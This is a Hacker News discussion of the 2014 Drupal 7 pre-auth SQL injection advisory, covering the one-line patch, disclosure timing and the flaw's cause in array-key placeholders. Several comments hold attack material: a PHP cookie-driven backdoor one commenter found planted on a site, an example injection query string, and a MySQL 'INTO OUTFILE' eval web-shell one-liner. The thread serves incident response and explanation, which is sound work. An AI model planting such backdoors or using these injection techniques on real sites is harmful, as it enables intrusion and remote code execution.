
Drupal 7 SQL Injection Vulnerability - foofoobar
https://www.sektioneins.de/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
======
anonfunction
The patch is only one line[1], so if you're scared to update Drupal for fear
of breaking things you can just patch the vulnerable part.

In this file:

    
    
        includes/database/database.inc
    

Replace line 739:

    
    
        foreach ($data as $i => $value) {
    

With the patched code:

    
    
        foreach (array_values($data) as $i => $value) {
    

[1] [https://www.drupal.org/files/issues/SA-
CORE-2014-005-D7.patc...](https://www.drupal.org/files/issues/SA-
CORE-2014-005-D7.patch)

~~~
jwineinger
So is that the full patch or is there a validation test included somewhere
else?

~~~
ge0
There is also a test
[http://cgit.drupalcode.org/drupal/commit/?h=7.x&id=449c70287...](http://cgit.drupalcode.org/drupal/commit/?h=7.x&id=449c7028749767f2de5eff4bbba04ba27346056f)

------
fabian2k
This vulnerability is rated highly critical, it works for anonymous users and
can lead to SQL injection and remote code execution.

There are currently around 930,000 Drupal 7 installations
([https://www.drupal.org/project/usage/drupal](https://www.drupal.org/project/usage/drupal)),
I fear that this will lead to a lot of compromised sites.

------
jgrahamc
If you are a paying CloudFlare customer using Drupal please make sure you have
the WAF ruleset for Drupal enabled ([https://blog.cloudflare.com/automatic-
protection-for-common-...](https://blog.cloudflare.com/automatic-protection-
for-common-web-platforms/)) as we rolled out automatic protection against this
when it was announced.

~~~
geerlingguy
In addition, if you use Acquia, Pantheon, Platform.sh, or some other hosting
providers that directly support Drupal, they may have already at least
partially mitigated the attack. But you should still immediately update your
code either by upgrade to Drupal 7.32 or by applying the one line patch
mentioned elsewhere.

Note that Drupal 6 is not affected (it didn't use PDO, so this parameter
parsing functionality doesn't exist).

------
julie1
Drupal like GnuTLS, like openSSL, like joomla, and like a lot of code out
there as always been recognized poor quality unreadable code by my own eyes.
(Like some parts of the linux kernel)

Why don't people see the pattern?

Poorly coded software results in security holes.

And IN statements are stupid with prepared statement. If you can leverage a
«hit or miss» cache effect with a IN statement, you don't need the IN,
elsewhise it is inefficient.

Good solution is when you can do it: replace IN with join avoiding the
shameful pit of Mysql poor performances in subqueries.

The other solution is to avoid IN statement because it cannot be protected
with the bind trick.

And Stackoverflow has the same solutions proposed everywhere, and since people
have no critical sense, this bug is everywhere where people are using IN with
prepared statement.

[http://stackoverflow.com/questions/920353/can-i-bind-an-
arra...](http://stackoverflow.com/questions/920353/can-i-bind-an-array-to-an-
in-condition) [http://stackoverflow.com/questions/1586587/pdo-binding-
value...](http://stackoverflow.com/questions/1586587/pdo-binding-values-for-
mysql-in-statement) [http://stackoverflow.com/questions/589284/imploding-a-
list-f...](http://stackoverflow.com/questions/589284/imploding-a-list-for-use-
in-a-python-mysqldb-in-clause)
[http://stackoverflow.com/questions/3703180/a-prepared-
statem...](http://stackoverflow.com/questions/3703180/a-prepared-statement-
where-in-query-and-sorting-with-mysql)

~~~
taspeotis
> Good solution is when you can do it: replace IN with join avoiding the
> shameful pit of Mysql poor performances in subqueries.

If you use MSSQL you can use IN just fine: use a table valued parameter to
feed in values to look for. It's only one parameter so you get plan caching
for 1, 2 ... n rows in your table valued parameter. (Although plan re-use is
not always a good thing: the plan generated for 1 parameter = 1 row is
necessarily the plan best suited to 1 parameter = 10,000 rows.)

------
WoodenChair
I feel like Hacker News has become home of the "security exploit du jour."
There have always been new exploits being found daily, what's changed is the
severity and wide reaching nature of said exploits.

You might ask, when will we learn? Well, the truth is making secure systems is
incredibly hard work and often comes at the price of
flexibility/usability/programmer productivity. We know how to do it, it's just
not easy to incorporate.

~~~
thejosh
900k+ sites with Drupal, including many government sites. This is a pretty
major exploit - any site running unpatched can be shelled.

~~~
mgkimsal
Isn't this just a Drupal 7 issue? Still will affect a lot, but I know plenty
Drupal installations from that 900k+ figure that are on 5 and 6.

~~~
fabian2k
The 900k+ number is from the official statistics and includes only Drupal 7
installations
([https://www.drupal.org/project/usage/drupal](https://www.drupal.org/project/usage/drupal)).

~~~
mgkimsal
D'oh!

Thanks.

------
btucker

        16. Sep.  2014 - Notified the Drupal devs via security contact form  
        15. Okt.  2014 - Relase of Bugfix by Drupal core Developers
    

I know it's open source volunteers & all, but that seems like a rather slow
reaction to such a critical vulnerability with a simple fix, doesn't it?

~~~
thejosh
Drupalcon happened during this time.

~~~
ceejayoz
I really don't think that is a valid excuse for taking a month to make a one-
line critical security patch.

~~~
outlandish-josh
The vulnerability has been there for four years. It's critical, but not widely
exploited. As soon as you release an update, the exploits will be found and
weaponized. It's 24 hours later and we're already clocking scripted attacks.

Coordinating a flawless release by a) not doing it during a major distraction
event (DrupalCon) and b) allowing an embargo period for people within the
security community to prepare is MUCH more important than rushing out the fix
a few weeks earlier.

The response here is indicative of the professionalism of the Drupal security
group IMHO.

~~~
chx
Six years. It was committed in 2008 december.

------
perlgeek
IMHO this is the direct result of conflating arrays/list and
hashes/dictionaries into a single thing on the programming language level.

Sure, careful programming would have avoided that, but if the two concept were
fundamentally different types, this bug would be impossible.

~~~
benmmurphy
ruby and perl web frameworks have had similar problems when receiving data it
could be an array or a hash or a string and people assumed it was string but
in the other cases it would cause sql injection or weird behaviour.

------
zgwortz
So, while patching our sites for this, we found one which apparently had
_already_ been patched. This was highly suspicious, especially since the file
mod date is listed as approximately 9 hours ago when nobody was using the
system and no login is registered for it, so we've been investigating. The
only thing we've found so far is another file which was apparently created at
the same exact time as the update:

modules/toolbar/pfmm.php

…which doesn't actually exist in the toolbar module (or anywhere else I can
find). The contents of that look like an attempt to use some kind of exploit:

<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]);
$au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();

Not quite sure what that means, but we're still looking into it.

~~~
snowwrestler
Look at your server logs. Look at the timestamps around the file create date,
and grep the logs for that path. You might be able to see a request creating
that file, or calling it (neither is good...)

~~~
zgwortz
Already done. They're using the SQL injection to create a new page entry in
the menu_router table whose access function was file_put_contents(). They then
call this new page (in our case, they called it "nqabio") to write the
file(s), and then called the pfmm.php.

Unfortunately, that code actually is taking PHP function calls from the
cookies passed in with the request, and we didn't have cookie logging enabled,
so we have no way of figuring out what that actually did. I suspect the Kcqf3
cookie is a decoder or decryption function, but the Kcqf2 function name is a
mystery, and the Kcqf1 parameter could be anything.

------
milankragujevic
PHP proof-of-concept here[1] (one that actually works, the Python one on
pastebin.com doesn't.)

[1] [http://milankragujevic.com/post/66](http://milankragujevic.com/post/66)

------
ayrx
Didn't get much attention when I posted it last night:
[https://news.ycombinator.com/item?id=8459192](https://news.ycombinator.com/item?id=8459192)

~~~
adamnemecek
it's all about timing.

------
userbinator
_Drupal uses prepared statements in all its SQL queries._

There's this common misconception "just use prepared statements and they'll
completely prevent SQL injection" floating around. Good to see (yet another)
counterexample of that. Prepared statements and parameters are only strategies
that can help, but they don't replace an understanding of where the characters
in the query are coming from and how they're being used. Escaping shouldn't be
a difficult concept to understand either.

~~~
meritt
These aren't prepared statements. This wouldn't be an issue if they were
actual RDBMS prepared statements. These are the bullshit fake prepared
statements that PDO emulates by default to achieve cross-database
compatibility to offer things like named-parameters (oracle, postgresql
support) for databases that only offer positional parameters (mysql, mssql).

It's quite simply shoddy string substitution that's not doing proper escaping,
as you pointed out.

~~~
taspeotis
> databases that only offer positional parameters (mysql, mssql).

Something between PHP and MSSQL must not support named parameters, because
MSSQL supports them just fine.

~~~
eli
So does MySQL, actually. They are just allegedly slow (though I've never
benchmarked and I wouldn't be surprised if that's no longer the case).

------
foofoobar
A PoC can be found here:
[http://pastebin.com/nDwLFV3v](http://pastebin.com/nDwLFV3v)

~~~
thejosh
Should remove block, make sure url is /user

This wouldn't work for me.

------
dageshi
For those who don't want to do a full core update, you can apply a one line
patch by the looks of it.

[http://www.reddit.com/r/drupal/comments/2jbuiz/drupal_732_fi...](http://www.reddit.com/r/drupal/comments/2jbuiz/drupal_732_fixes_a_highly_critical_security_issue/)

~~~
thathonkey
7.32 is a one line change btw, so the patch is same difference.

~~~
zaphoyd
it might not be a one line change if you are on a version older than 7.31

~~~
chx
It is. Same patch applies back to 7.0 (and even earlier).

------
nerdy
Does anyone else think that this portion of code needs revising?

The patch adds array_values() which basically just resets the array to a 0..n
index instead of whatever alpha/numeric mix it might've been before.

This means an array with a particular key can cause injection. Doesn't that
seem a bit of an obscure thing to have to protect? Do people who're new to the
project know about that?

Does someone understand something I don't? Even looking at the patch only,
from a conceptual perspective, how does the usage of that array and its keys
even make sense in a context where a certain key can allow injection?

~~~
TacticalMalice
The key was used to name expanded placeholders. The intent was to get
"placeholder_1", "placeholder_2" ... "placeholder_N" in the query for the
number of elements in the argument array.

However, arrays can have non numerical keys. This results in
"placeholder_KEY", "placeholder_KEY2".

If Key is a SQL query fragment, that ends up verbatim in the placeholders
section.

Suppose you pass $_GET['foo'] as a query argument. An attacker can
(simplified) supply ?foo[EXPLOIT] and poof, $_GET['foo'] is an array with
'EXPLOIT' among the keys that suddenly gets into the query verbatim.

------
pestaa
Please note that in this case the prepared statement gave the false sense of
security, but is not actually responsible for the vulnerability.

Due to the statement being prepared, all bound parameters are correctly
encoded -- not the parameter names themselves though, which Drupal should have
sanitized first.

Letting $data through the array_values() call will give you a zero-indexed
array, which gives you predictable and safe parameter names.

------
pearjuice
Google searching for "Powered by Drupal" delivers quite a substantial amount
of high profile websites. Either as portfolio cases or directly referenced to
in website footers. I don't know who will be faster; system administrators
patching the bunch or people with malicious intentions writing automated tools
to compromise hundreds of sites per second.

~~~
mixologic
The latter.

------
anonfunction
> Full SQL injection, which results in total control and code execution of
> Website.

Well that doesn't sound good. Drupal.org itself is still running[1] on the
unpatched version 7.3.1 which sends a message of how likely sites are to be
updated.

[1]
[https://www.drupal.org/CHANGELOG.txt](https://www.drupal.org/CHANGELOG.txt)

~~~
TacticalMalice
Drupal.org is patched and has been for weeks.

~~~
pearjuice
That's impressive given the exploit is a day old.

~~~
antsar
FTFA:

> Disclosure Timeline:

> 16\. Sep. 2014 - Notified the Drupal devs via security contact form

> 15\. Okt. 2014 - Relase of Bugfix by Drupal core Developers

~~~
pearjuice
Ah, must have overlooked the months. Makes me wonder why they left this in the
wild for a month and now suddenly put thousands of installations at risk.

~~~
TacticalMalice
> now suddenly put thousands of installations at risk

There's a solution that goes with the advisory. You cannot provide a patch
without putting sites at risk.

Furthermore, the vulnerability was present since the Drupal 7.0 release,
several years ago. There were no exploits seen in the wild. What are a few
weeks then?

The team decided that speed to patch sites asap _after_ release of the
information was critical. This is the reason why it was released after a pre-
announcement and after a conference tying up most stakeholders.

------
aikah
Could this problem be solved by quoting parameters ? I believe PDO has quoting
capabilities when it comes to query parameters in prepared statements.i.e. one
can state this parameters is a string , or an integer ....

~~~
TacticalMalice
The problem here is that placeholders are added to the query itself to match
the amount of array items. These newly constructed placeholders inadvertently
contained user data.

~~~
aikah
Oh yeah, I see it now,thanks.

They are naming the query placeholders based directly on the indexes passed in
the querystring parameters?

And since indexes can be whatever string like ?name[DELETE FROM USERS]=foo&...
,you end up with an exploit ...

------
thejosh
Yep, and you can exploit any Drupal 7.31 or below and get full admin access.

------
gabriel-aszalos
GitHub OAuth results in: {"type":"Error","msg":"Hostname/IP doesn't match
certificate's altnames"}

------
ams6110
Drupal 6 appears to not have this flaw?

~~~
zaphoyd
correct.

------
baspray
Would you be protected from this injection if your drupal database tables all
had prefixes?

------
teekert
Hmm, my install is not saying there is a core update... Normally it does this.

~~~
zaphoyd
there is some caching going on because the patch is so new, going into the gui
and clicking manually refresh fixed it for me

------
tbarbugli
how bad is this?

~~~
philo23
It appears to be a pretty serious issue. The SQL injection alone is bad but
the ability to run basically any PHP code through callbacks makes the problem
that much worse.

~~~
mappu
SQL injection alone is often enough to get you RCE if your MySQL account has
FILE permissions enabled (often true). Something like `SELECT "<?php
eval($_GET['x'])" INTO OUTFILE /srv/www/backdoor.php`.

~~~
meowface
>(often true)

I don't think it's that often. By default, a new MySQL user will not have FILE
privileges granted.

Most of the time you see this due to the developer being lazy and just using
the "root" MySQL user.

